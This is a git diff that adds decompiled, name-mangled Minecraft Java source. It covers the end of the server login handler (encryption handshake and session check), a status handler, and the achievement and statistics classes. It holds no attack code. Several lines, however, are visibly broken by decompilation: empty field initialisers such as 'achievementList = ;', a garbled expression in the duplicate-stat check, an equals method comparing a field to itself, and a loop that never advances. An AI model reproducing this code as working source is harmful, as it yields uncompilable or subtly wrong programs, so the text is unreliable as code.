+      networkManager.closeChannel(var2);
+    }
+    catch (Exception var3)
+    {
+      logger.error("Error whilst disconnecting player", var3);
+    }
+  }
+  
+  public void func_147326_c()
+  {
+    if (!loginGameProfile.isComplete())
+    {
+      loginGameProfile = getOfflineProfile(loginGameProfile);
+    }
+    
+    String var1 = server.getConfigurationManager().allowUserToConnect(networkManager.getRemoteAddress(), loginGameProfile);
+    
+    if (var1 != null)
+    {
+      closeConnection(var1);
+    }
+    else
+    {
+      currentLoginState = LoginState.ACCEPTED;
+      
+      if ((server.getNetworkCompressionTreshold() >= 0) && (!networkManager.isLocalChannel()))
+      {
+        networkManager.sendPacket(new S03PacketEnableCompression(server.getNetworkCompressionTreshold()), new ChannelFutureListener()
+        {
+          private static final String __OBFID = "CL_00001459";
+          
+          public void operationComplete(ChannelFuture p_operationComplete_1_) {
+            networkManager.setCompressionTreshold(server.getNetworkCompressionTreshold());
+          }
+        }, new GenericFutureListener[0]);
+      }
+      
+      networkManager.sendPacket(new S02PacketLoginSuccess(loginGameProfile));
+      server.getConfigurationManager().initializeConnectionToPlayer(networkManager, server.getConfigurationManager().createPlayerForUser(loginGameProfile));
+    }
+  }
+  
+
+
+
+  public void onDisconnect(IChatComponent reason)
+  {
+    logger.info(func_147317_d() + " lost connection: " + reason.getUnformattedText());
+  }
+  
+  public String func_147317_d()
+  {
+    return loginGameProfile != null ? loginGameProfile.toString() + " (" + networkManager.getRemoteAddress().toString() + ")" : String.valueOf(networkManager.getRemoteAddress());
+  }
+  
+  public void processLoginStart(C00PacketLoginStart packetIn)
+  {
+    Validate.validState(currentLoginState == LoginState.HELLO, "Unexpected hello packet", new Object[0]);
+    loginGameProfile = packetIn.getProfile();
+    
+    if ((server.isServerInOnlineMode()) && (!networkManager.isLocalChannel()))
+    {
+      currentLoginState = LoginState.KEY;
+      networkManager.sendPacket(new S01PacketEncryptionRequest(serverId, server.getKeyPair().getPublic(), field_147330_e));
+    }
+    else
+    {
+      currentLoginState = LoginState.READY_TO_ACCEPT;
+    }
+  }
+  
+  public void processEncryptionResponse(C01PacketEncryptionResponse packetIn)
+  {
+    Validate.validState(currentLoginState == LoginState.KEY, "Unexpected key packet", new Object[0]);
+    PrivateKey var2 = server.getKeyPair().getPrivate();
+    
+    if (!Arrays.equals(field_147330_e, packetIn.func_149299_b(var2)))
+    {
+      throw new IllegalStateException("Invalid nonce!");
+    }
+    
+
+    secretKey = packetIn.func_149300_a(var2);
+    currentLoginState = LoginState.AUTHENTICATING;
+    networkManager.enableEncryption(secretKey);
+    new Thread("User Authenticator #" + AUTHENTICATOR_THREAD_ID.incrementAndGet())
+    {
+      private static final String __OBFID = "CL_00002268";
+      
+      public void run() {
+        GameProfile var1 = loginGameProfile;
+        
+        try
+        {
+          String var2 = new BigInteger(CryptManager.getServerIdHash(serverId, server.getKeyPair().getPublic(), secretKey)).toString(16);
+          loginGameProfile = server.getMinecraftSessionService().hasJoinedServer(new GameProfile(null, var1.getName()), var2);
+          
+          if (loginGameProfile != null)
+          {
+            NetHandlerLoginServer.logger.info("UUID of player " + loginGameProfile.getName() + " is " + loginGameProfile.getId());
+            currentLoginState = NetHandlerLoginServer.LoginState.READY_TO_ACCEPT;
+          }
+          else if (server.isSinglePlayer())
+          {
+            NetHandlerLoginServer.logger.warn("Failed to verify username but will let them in anyway!");
+            loginGameProfile = getOfflineProfile(var1);
+            currentLoginState = NetHandlerLoginServer.LoginState.READY_TO_ACCEPT;
+          }
+          else
+          {
+            closeConnection("Failed to verify username!");
+            NetHandlerLoginServer.logger.error("Username '" + loginGameProfile.getName() + "' tried to join with an invalid session");
+          }
+        }
+        catch (AuthenticationUnavailableException var3)
+        {
+          if (server.isSinglePlayer())
+          {
+            NetHandlerLoginServer.logger.warn("Authentication servers are down but will let them in anyway!");
+            loginGameProfile = getOfflineProfile(var1);
+            currentLoginState = NetHandlerLoginServer.LoginState.READY_TO_ACCEPT;
+          }
+          else
+          {
+            closeConnection("Authentication servers are down. Please try again later, sorry!");
+            NetHandlerLoginServer.logger.error("Couldn't verify username because servers are unavailable");
+          }
+        }
+      }
+    }.start();
+  }
+  
+
+  protected GameProfile getOfflineProfile(GameProfile original)
+  {
+    UUID var2 = UUID.nameUUIDFromBytes(("OfflinePlayer:" + original.getName()).getBytes(com.google.common.base.Charsets.UTF_8));
+    return new GameProfile(var2, original.getName());
+  }
+  
+  static enum LoginState
+  {
+    HELLO("HELLO", 0), 
+    KEY("KEY", 1), 
+    AUTHENTICATING("AUTHENTICATING", 2), 
+    READY_TO_ACCEPT("READY_TO_ACCEPT", 3), 
+    ACCEPTED("ACCEPTED", 4);
+    
+    private static final LoginState[] $VALUES = { HELLO, KEY, AUTHENTICATING, READY_TO_ACCEPT, ACCEPTED };
+    private static final String __OBFID = "CL_00001463";
+    
+    private LoginState(String p_i45297_1_, int p_i45297_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/network/NetHandlerStatusServer.java b/src/minecraft/net/minecraft/server/network/NetHandlerStatusServer.java
new file mode 100644
index 0000000..0ef6296
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/network/NetHandlerStatusServer.java
@@ -0,0 +1,38 @@
+package net.minecraft.server.network;
+
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.status.INetHandlerStatusServer;
+import net.minecraft.network.status.client.C00PacketServerQuery;
+import net.minecraft.network.status.client.C01PacketPing;
+import net.minecraft.network.status.server.S00PacketServerInfo;
+import net.minecraft.network.status.server.S01PacketPong;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.IChatComponent;
+
+public class NetHandlerStatusServer implements INetHandlerStatusServer
+{
+  private final MinecraftServer server;
+  private final NetworkManager networkManager;
+  private static final String __OBFID = "CL_00001464";
+  
+  public NetHandlerStatusServer(MinecraftServer serverIn, NetworkManager netManager)
+  {
+    server = serverIn;
+    networkManager = netManager;
+  }
+  
+
+
+  public void onDisconnect(IChatComponent reason) {}
+  
+
+  public void processServerQuery(C00PacketServerQuery packetIn)
+  {
+    networkManager.sendPacket(new S00PacketServerInfo(server.getServerStatusResponse()));
+  }
+  
+  public void processPing(C01PacketPing packetIn)
+  {
+    networkManager.sendPacket(new S01PacketPong(packetIn.getClientTime()));
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/Achievement.java b/src/minecraft/net/minecraft/stats/Achievement.java
new file mode 100644
index 0000000..3197884
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/Achievement.java
@@ -0,0 +1,182 @@
+package net.minecraft.stats;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.StatCollector;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Achievement
+  extends StatBase
+{
+  public final int displayColumn;
+  public final int displayRow;
+  public final Achievement parentAchievement;
+  private final String achievementDescription;
+  private IStatStringFormat statStringFormatter;
+  public final ItemStack theItemStack;
+  private boolean isSpecial;
+  private static final String __OBFID = "CL_00001466";
+  
+  public Achievement(String p_i46327_1_, String p_i46327_2_, int p_i46327_3_, int p_i46327_4_, Item p_i46327_5_, Achievement p_i46327_6_)
+  {
+    this(p_i46327_1_, p_i46327_2_, p_i46327_3_, p_i46327_4_, new ItemStack(p_i46327_5_), p_i46327_6_);
+  }
+  
+  public Achievement(String p_i45301_1_, String p_i45301_2_, int p_i45301_3_, int p_i45301_4_, Block p_i45301_5_, Achievement p_i45301_6_)
+  {
+    this(p_i45301_1_, p_i45301_2_, p_i45301_3_, p_i45301_4_, new ItemStack(p_i45301_5_), p_i45301_6_);
+  }
+  
+  public Achievement(String p_i45302_1_, String p_i45302_2_, int p_i45302_3_, int p_i45302_4_, ItemStack p_i45302_5_, Achievement p_i45302_6_)
+  {
+    super(p_i45302_1_, new ChatComponentTranslation("achievement." + p_i45302_2_, new Object[0]));
+    theItemStack = p_i45302_5_;
+    achievementDescription = ("achievement." + p_i45302_2_ + ".desc");
+    displayColumn = p_i45302_3_;
+    displayRow = p_i45302_4_;
+    
+    if (p_i45302_3_ < AchievementList.minDisplayColumn)
+    {
+      AchievementList.minDisplayColumn = p_i45302_3_;
+    }
+    
+    if (p_i45302_4_ < AchievementList.minDisplayRow)
+    {
+      AchievementList.minDisplayRow = p_i45302_4_;
+    }
+    
+    if (p_i45302_3_ > AchievementList.maxDisplayColumn)
+    {
+      AchievementList.maxDisplayColumn = p_i45302_3_;
+    }
+    
+    if (p_i45302_4_ > AchievementList.maxDisplayRow)
+    {
+      AchievementList.maxDisplayRow = p_i45302_4_;
+    }
+    
+    parentAchievement = p_i45302_6_;
+  }
+  
+  public Achievement func_180789_a()
+  {
+    isIndependent = true;
+    return this;
+  }
+  
+
+
+
+
+  public Achievement setSpecial()
+  {
+    isSpecial = true;
+    return this;
+  }
+  
+  public Achievement func_180788_c()
+  {
+    super.registerStat();
+    AchievementList.achievementList.add(this);
+    return this;
+  }
+  
+
+
+
+  public boolean isAchievement()
+  {
+    return true;
+  }
+  
+  public IChatComponent getStatName()
+  {
+    IChatComponent var1 = super.getStatName();
+    var1.getChatStyle().setColor(getSpecial() ? EnumChatFormatting.DARK_PURPLE : EnumChatFormatting.GREEN);
+    return var1;
+  }
+  
+  public Achievement func_180787_a(Class p_180787_1_)
+  {
+    return (Achievement)super.func_150953_b(p_180787_1_);
+  }
+  
+
+
+
+  public String getDescription()
+  {
+    return statStringFormatter != null ? statStringFormatter.formatString(StatCollector.translateToLocal(achievementDescription)) : StatCollector.translateToLocal(achievementDescription);
+  }
+  
+
+
+
+  public Achievement setStatStringFormatter(IStatStringFormat p_75988_1_)
+  {
+    statStringFormatter = p_75988_1_;
+    return this;
+  }
+  
+
+
+
+
+  public boolean getSpecial()
+  {
+    return isSpecial;
+  }
+  
+  public StatBase func_150953_b(Class p_150953_1_)
+  {
+    return func_180787_a(p_150953_1_);
+  }
+  
+
+
+
+  public StatBase registerStat()
+  {
+    return func_180788_c();
+  }
+  
+
+
+
+
+  public StatBase initIndependentStat()
+  {
+    return func_180789_a();
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/AchievementList.java b/src/minecraft/net/minecraft/stats/AchievementList.java
new file mode 100644
index 0000000..55e24c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/AchievementList.java
@@ -0,0 +1,127 @@
+package net.minecraft.stats;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.JsonSerializableSet;
+
+
+
+
+
+
+
+
+
+
+public class AchievementList
+{
+  public static int minDisplayColumn;
+  public static int minDisplayRow;
+  public static int maxDisplayColumn;
+  public static int maxDisplayRow;
+  public static List achievementList = ;
+  
+
+  public static Achievement openInventory = new Achievement("achievement.openInventory", "openInventory", 0, 0, Items.book, null).func_180789_a().func_180788_c();
+  
+
+  public static Achievement mineWood = new Achievement("achievement.mineWood", "mineWood", 2, 1, Blocks.log, openInventory).func_180788_c();
+  
+
+  public static Achievement buildWorkBench = new Achievement("achievement.buildWorkBench", "buildWorkBench", 4, -1, Blocks.crafting_table, mineWood).func_180788_c();
+  
+
+  public static Achievement buildPickaxe = new Achievement("achievement.buildPickaxe", "buildPickaxe", 4, 2, Items.wooden_pickaxe, buildWorkBench).func_180788_c();
+  
+
+  public static Achievement buildFurnace = new Achievement("achievement.buildFurnace", "buildFurnace", 3, 4, Blocks.furnace, buildPickaxe).func_180788_c();
+  
+
+  public static Achievement acquireIron = new Achievement("achievement.acquireIron", "acquireIron", 1, 4, Items.iron_ingot, buildFurnace).func_180788_c();
+  
+
+  public static Achievement buildHoe = new Achievement("achievement.buildHoe", "buildHoe", 2, -3, Items.wooden_hoe, buildWorkBench).func_180788_c();
+  
+
+  public static Achievement makeBread = new Achievement("achievement.makeBread", "makeBread", -1, -3, Items.bread, buildHoe).func_180788_c();
+  
+
+  public static Achievement bakeCake = new Achievement("achievement.bakeCake", "bakeCake", 0, -5, Items.cake, buildHoe).func_180788_c();
+  
+
+  public static Achievement buildBetterPickaxe = new Achievement("achievement.buildBetterPickaxe", "buildBetterPickaxe", 6, 2, Items.stone_pickaxe, buildPickaxe).func_180788_c();
+  
+
+  public static Achievement cookFish = new Achievement("achievement.cookFish", "cookFish", 2, 6, Items.cooked_fish, buildFurnace).func_180788_c();
+  
+
+  public static Achievement onARail = new Achievement("achievement.onARail", "onARail", 2, 3, Blocks.rail, acquireIron).setSpecial().func_180788_c();
+  
+
+  public static Achievement buildSword = new Achievement("achievement.buildSword", "buildSword", 6, -1, Items.wooden_sword, buildWorkBench).func_180788_c();
+  
+
+  public static Achievement killEnemy = new Achievement("achievement.killEnemy", "killEnemy", 8, -1, Items.bone, buildSword).func_180788_c();
+  
+
+  public static Achievement killCow = new Achievement("achievement.killCow", "killCow", 7, -3, Items.leather, buildSword).func_180788_c();
+  
+
+  public static Achievement flyPig = new Achievement("achievement.flyPig", "flyPig", 9, -3, Items.saddle, killCow).setSpecial().func_180788_c();
+  
+
+  public static Achievement snipeSkeleton = new Achievement("achievement.snipeSkeleton", "snipeSkeleton", 7, 0, Items.bow, killEnemy).setSpecial().func_180788_c();
+  
+
+  public static Achievement diamonds = new Achievement("achievement.diamonds", "diamonds", -1, 5, Blocks.diamond_ore, acquireIron).func_180788_c();
+  public static Achievement diamondsToYou = new Achievement("achievement.diamondsToYou", "diamondsToYou", -1, 2, Items.diamond, diamonds).func_180788_c();
+  
+
+  public static Achievement portal = new Achievement("achievement.portal", "portal", -1, 7, Blocks.obsidian, diamonds).func_180788_c();
+  
+
+  public static Achievement ghast = new Achievement("achievement.ghast", "ghast", -4, 8, Items.ghast_tear, portal).setSpecial().func_180788_c();
+  
+
+  public static Achievement blazeRod = new Achievement("achievement.blazeRod", "blazeRod", 0, 9, Items.blaze_rod, portal).func_180788_c();
+  
+
+  public static Achievement potion = new Achievement("achievement.potion", "potion", 2, 8, Items.potionitem, blazeRod).func_180788_c();
+  
+
+  public static Achievement theEnd = new Achievement("achievement.theEnd", "theEnd", 3, 10, Items.ender_eye, blazeRod).setSpecial().func_180788_c();
+  
+
+  public static Achievement theEnd2 = new Achievement("achievement.theEnd2", "theEnd2", 4, 13, Blocks.dragon_egg, theEnd).setSpecial().func_180788_c();
+  
+
+  public static Achievement enchantments = new Achievement("achievement.enchantments", "enchantments", -4, 4, Blocks.enchanting_table, diamonds).func_180788_c();
+  public static Achievement overkill = new Achievement("achievement.overkill", "overkill", -4, 1, Items.diamond_sword, enchantments).setSpecial().func_180788_c();
+  
+
+  public static Achievement bookcase = new Achievement("achievement.bookcase", "bookcase", -3, 6, Blocks.bookshelf, enchantments).func_180788_c();
+  
+
+  public static Achievement breedCow = new Achievement("achievement.breedCow", "breedCow", 7, -5, Items.wheat, killCow).func_180788_c();
+  
+
+  public static Achievement spawnWither = new Achievement("achievement.spawnWither", "spawnWither", 7, 12, new ItemStack(Items.skull, 1, 1), theEnd2).func_180788_c();
+  
+
+  public static Achievement killWither = new Achievement("achievement.killWither", "killWither", 7, 10, Items.nether_star, spawnWither).func_180788_c();
+  
+
+  public static Achievement fullBeacon = new Achievement("achievement.fullBeacon", "fullBeacon", 7, 8, Blocks.beacon, killWither).setSpecial().func_180788_c();
+  
+
+  public static Achievement exploreAllBiomes = new Achievement("achievement.exploreAllBiomes", "exploreAllBiomes", 4, 8, Items.diamond_boots, theEnd).func_180787_a(JsonSerializableSet.class).setSpecial().func_180788_c();
+  public static Achievement overpowered = new Achievement("achievement.overpowered", "overpowered", 6, 4, Items.golden_apple, buildBetterPickaxe).setSpecial().func_180788_c();
+  private static final String __OBFID = "CL_00001467";
+  
+  public AchievementList() {}
+  
+  public static void init() {}
+}
diff --git a/src/minecraft/net/minecraft/stats/IStatStringFormat.java b/src/minecraft/net/minecraft/stats/IStatStringFormat.java
new file mode 100644
index 0000000..5b5b1b1
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/IStatStringFormat.java
@@ -0,0 +1,6 @@
+package net.minecraft.stats;
+
+public abstract interface IStatStringFormat
+{
+  public abstract String formatString(String paramString);
+}
diff --git a/src/minecraft/net/minecraft/stats/IStatType.java b/src/minecraft/net/minecraft/stats/IStatType.java
new file mode 100644
index 0000000..0f1e017
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/IStatType.java
@@ -0,0 +1,6 @@
+package net.minecraft.stats;
+
+public abstract interface IStatType
+{
+  public abstract String format(int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/stats/ObjectiveStat.java b/src/minecraft/net/minecraft/stats/ObjectiveStat.java
new file mode 100644
index 0000000..66a3fc3
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/ObjectiveStat.java
@@ -0,0 +1,15 @@
+package net.minecraft.stats;
+
+import net.minecraft.scoreboard.ScoreDummyCriteria;
+
+public class ObjectiveStat extends ScoreDummyCriteria
+{
+  private final StatBase field_151459_g;
+  private static final String __OBFID = "CL_00000625";
+  
+  public ObjectiveStat(StatBase p_i45483_1_)
+  {
+    super(statId);
+    field_151459_g = p_i45483_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatBase.java b/src/minecraft/net/minecraft/stats/StatBase.java
new file mode 100644
index 0000000..4cfb9c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatBase.java
@@ -0,0 +1,178 @@
+package net.minecraft.stats;
+
+import java.text.DecimalFormat;
+import java.text.NumberFormat;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.event.HoverEvent;
+import net.minecraft.event.HoverEvent.Action;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+
+public class StatBase
+{
+  public final String statId;
+  private final IChatComponent statName;
+  public boolean isIndependent;
+  private final IStatType type;
+  private final IScoreObjectiveCriteria field_150957_c;
+  private Class field_150956_d;
+  private static NumberFormat numberFormat = NumberFormat.getIntegerInstance(java.util.Locale.US);
+  public static IStatType simpleStatType = new IStatType()
+  {
+    private static final String __OBFID = "CL_00001473";
+    
+    public String format(int p_75843_1_) {
+      return StatBase.numberFormat.format(p_75843_1_);
+    }
+  };
+  private static DecimalFormat decimalFormat = new DecimalFormat("########0.00");
+  public static IStatType timeStatType = new IStatType()
+  {
+    private static final String __OBFID = "CL_00001474";
+    
+    public String format(int p_75843_1_) {
+      double var2 = p_75843_1_ / 20.0D;
+      double var4 = var2 / 60.0D;
+      double var6 = var4 / 60.0D;
+      double var8 = var6 / 24.0D;
+      double var10 = var8 / 365.0D;
+      return var2 + " s";
+    }
+  };
+  public static IStatType distanceStatType = new IStatType()
+  {
+    private static final String __OBFID = "CL_00001475";
+    
+    public String format(int p_75843_1_) {
+      double var2 = p_75843_1_ / 100.0D;
+      double var4 = var2 / 1000.0D;
+      return p_75843_1_ + " cm";
+    }
+  };
+  public static IStatType field_111202_k = new IStatType()
+  {
+    private static final String __OBFID = "CL_00001476";
+    
+    public String format(int p_75843_1_) {
+      return StatBase.decimalFormat.format(p_75843_1_ * 0.1D);
+    }
+  };
+  private static final String __OBFID = "CL_00001472";
+  
+  public StatBase(String p_i45307_1_, IChatComponent p_i45307_2_, IStatType p_i45307_3_)
+  {
+    statId = p_i45307_1_;
+    statName = p_i45307_2_;
+    type = p_i45307_3_;
+    field_150957_c = new ObjectiveStat(this);
+    IScoreObjectiveCriteria.INSTANCES.put(field_150957_c.getName(), field_150957_c);
+  }
+  
+  public StatBase(String p_i45308_1_, IChatComponent p_i45308_2_)
+  {
+    this(p_i45308_1_, p_i45308_2_, simpleStatType);
+  }
+  
+
+
+
+
+  public StatBase initIndependentStat()
+  {
+    isIndependent = true;
+    return this;
+  }
+  
+
+
+
+  public StatBase registerStat()
+  {
+    if (StatList.oneShotStats.containsKey(statId))
+    {
+      throw new RuntimeException("Duplicate stat id: \"" + oneShotStatsgetstatId)).statName + "\" and \"" + statName + "\" at id " + statId);
+    }
+    
+
+    StatList.allStats.add(this);
+    StatList.oneShotStats.put(statId, this);
+    return this;
+  }
+  
+
+
+
+
+  public boolean isAchievement()
+  {
+    return false;
+  }
+  
+  public String func_75968_a(int p_75968_1_)
+  {
+    return type.format(p_75968_1_);
+  }
+  
+  public IChatComponent getStatName()
+  {
+    IChatComponent var1 = statName.createCopy();
+    var1.getChatStyle().setColor(EnumChatFormatting.GRAY);
+    var1.getChatStyle().setChatHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_ACHIEVEMENT, new ChatComponentText(statId)));
+    return var1;
+  }
+  
+  public IChatComponent func_150955_j()
+  {
+    IChatComponent var1 = getStatName();
+    IChatComponent var2 = new ChatComponentText("[").appendSibling(var1).appendText("]");
+    var2.setChatStyle(var1.getChatStyle());
+    return var2;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      StatBase var2 = (StatBase)p_equals_1_;
+      return statId.equals(statId);
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return statId.hashCode();
+  }
+  
+  public String toString()
+  {
+    return "Stat{id=" + statId + ", nameId=" + statName + ", awardLocallyOnly=" + isIndependent + ", formatter=" + type + ", objectiveCriteria=" + field_150957_c + '}';
+  }
+  
+  public IScoreObjectiveCriteria func_150952_k()
+  {
+    return field_150957_c;
+  }
+  
+  public Class func_150954_l()
+  {
+    return field_150956_d;
+  }
+  
+  public StatBase func_150953_b(Class p_150953_1_)
+  {
+    field_150956_d = p_150953_1_;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatBasic.java b/src/minecraft/net/minecraft/stats/StatBasic.java
new file mode 100644
index 0000000..91a1691
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatBasic.java
@@ -0,0 +1,28 @@
+package net.minecraft.stats;
+
+import net.minecraft.util.IChatComponent;
+
+public class StatBasic extends StatBase
+{
+  private static final String __OBFID = "CL_00001469";
+  
+  public StatBasic(String p_i45303_1_, IChatComponent p_i45303_2_, IStatType p_i45303_3_)
+  {
+    super(p_i45303_1_, p_i45303_2_, p_i45303_3_);
+  }
+  
+  public StatBasic(String p_i45304_1_, IChatComponent p_i45304_2_)
+  {
+    super(p_i45304_1_, p_i45304_2_);
+  }
+  
+
+
+
+  public StatBase registerStat()
+  {
+    super.registerStat();
+    StatList.generalStats.add(this);
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatCrafting.java b/src/minecraft/net/minecraft/stats/StatCrafting.java
new file mode 100644
index 0000000..9b95aca
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatCrafting.java
@@ -0,0 +1,28 @@
+package net.minecraft.stats;
+
+import java.util.Map;
+import net.minecraft.item.Item;
+import net.minecraft.util.IChatComponent;
+
+public class StatCrafting extends StatBase
+{
+  private final Item field_150960_a;
+  private static final String __OBFID = "CL_00001470";
+  
+  public StatCrafting(String p_i45910_1_, String p_i45910_2_, IChatComponent p_i45910_3_, Item p_i45910_4_)
+  {
+    super(p_i45910_1_ + p_i45910_2_, p_i45910_3_);
+    field_150960_a = p_i45910_4_;
+    int var5 = Item.getIdFromItem(p_i45910_4_);
+    
+    if (var5 != 0)
+    {
+      net.minecraft.scoreboard.IScoreObjectiveCriteria.INSTANCES.put(p_i45910_1_ + var5, func_150952_k());
+    }
+  }
+  
+  public Item func_150959_a()
+  {
+    return field_150960_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatFileWriter.java b/src/minecraft/net/minecraft/stats/StatFileWriter.java
new file mode 100644
index 0000000..4527352
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatFileWriter.java
@@ -0,0 +1,95 @@
+package net.minecraft.stats;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.IJsonSerializable;
+import net.minecraft.util.TupleIntJsonSerializable;
+
+public class StatFileWriter
+{
+  protected final Map field_150875_a = Maps.newConcurrentMap();
+  
+  private static final String __OBFID = "CL_00001481";
+  
+  public StatFileWriter() {}
+  
+  public boolean hasAchievementUnlocked(Achievement p_77443_1_)
+  {
+    return writeStat(p_77443_1_) > 0;
+  }
+  
+
+
+
+  public boolean canUnlockAchievement(Achievement p_77442_1_)
+  {
+    return (parentAchievement == null) || (hasAchievementUnlocked(parentAchievement));
+  }
+  
+  public int func_150874_c(Achievement p_150874_1_)
+  {
+    if (hasAchievementUnlocked(p_150874_1_))
+    {
+      return 0;
+    }
+    
+
+    int var2 = 0;
+    
+    for (Achievement var3 = parentAchievement; (var3 != null) && (!hasAchievementUnlocked(var3)); var2++)
+    {
+      var3 = parentAchievement;
+    }
+    
+    return var2;
+  }
+  
+
+  public void func_150871_b(EntityPlayer p_150871_1_, StatBase p_150871_2_, int p_150871_3_)
+  {
+    if ((!p_150871_2_.isAchievement()) || (canUnlockAchievement((Achievement)p_150871_2_)))
+    {
+      func_150873_a(p_150871_1_, p_150871_2_, writeStat(p_150871_2_) + p_150871_3_);
+    }
+  }
+  
+  public void func_150873_a(EntityPlayer p_150873_1_, StatBase p_150873_2_, int p_150873_3_)
+  {
+    TupleIntJsonSerializable var4 = (TupleIntJsonSerializable)field_150875_a.get(p_150873_2_);
+    
+    if (var4 == null)
+    {
+      var4 = new TupleIntJsonSerializable();
+      field_150875_a.put(p_150873_2_, var4);
+    }
+    
+    var4.setIntegerValue(p_150873_3_);
+  }
+  
+  public int writeStat(StatBase p_77444_1_)
+  {
+    TupleIntJsonSerializable var2 = (TupleIntJsonSerializable)field_150875_a.get(p_77444_1_);
+    return var2 == null ? 0 : var2.getIntegerValue();
+  }
+  
+  public IJsonSerializable func_150870_b(StatBase p_150870_1_)
+  {
+    TupleIntJsonSerializable var2 = (TupleIntJsonSerializable)field_150875_a.get(p_150870_1_);
+    return var2 != null ? var2.getJsonSerializableValue() : null;
+  }
+  
+  public IJsonSerializable func_150872_a(StatBase p_150872_1_, IJsonSerializable p_150872_2_)
+  {
+    TupleIntJsonSerializable var3 = (TupleIntJsonSerializable)field_150875_a.get(p_150872_1_);
+    
+    if (var3 == null)
+    {
+      var3 = new TupleIntJsonSerializable();
+      field_150875_a.put(p_150872_1_, var3);
+    }
+    
+    var3.setJsonSerializableValue(p_150872_2_);
+    return p_150872_2_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatList.java b/src/minecraft/net/minecraft/stats/StatList.java
new file mode 100644
index 0000000..7876a08
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatList.java
@@ -0,0 +1,305 @@
+package net.minecraft.stats;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityList.EntityEggInfo;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.CraftingManager;
+import net.minecraft.item.crafting.FurnaceRecipes;
+import net.minecraft.item.crafting.IRecipe;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+public class StatList
+{
+  protected static Map oneShotStats = ;
+  public static List allStats = Lists.newArrayList();
+  public static List generalStats = Lists.newArrayList();
+  public static List itemStats = Lists.newArrayList();
+  
+
+  public static List objectMineStats = Lists.newArrayList();
+  
+
+  public static StatBase leaveGameStat = new StatBasic("stat.leaveGame", new ChatComponentTranslation("stat.leaveGame", new Object[0])).initIndependentStat().registerStat();
+  
+
+  public static StatBase minutesPlayedStat = new StatBasic("stat.playOneMinute", new ChatComponentTranslation("stat.playOneMinute", new Object[0]), StatBase.timeStatType).initIndependentStat().registerStat();
+  public static StatBase timeSinceDeathStat = new StatBasic("stat.timeSinceDeath", new ChatComponentTranslation("stat.timeSinceDeath", new Object[0]), StatBase.timeStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceWalkedStat = new StatBasic("stat.walkOneCm", new ChatComponentTranslation("stat.walkOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  public static StatBase distanceCrouchedStat = new StatBasic("stat.crouchOneCm", new ChatComponentTranslation("stat.crouchOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  public static StatBase distanceSprintedStat = new StatBasic("stat.sprintOneCm", new ChatComponentTranslation("stat.sprintOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceSwumStat = new StatBasic("stat.swimOneCm", new ChatComponentTranslation("stat.swimOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceFallenStat = new StatBasic("stat.fallOneCm", new ChatComponentTranslation("stat.fallOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceClimbedStat = new StatBasic("stat.climbOneCm", new ChatComponentTranslation("stat.climbOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceFlownStat = new StatBasic("stat.flyOneCm", new ChatComponentTranslation("stat.flyOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
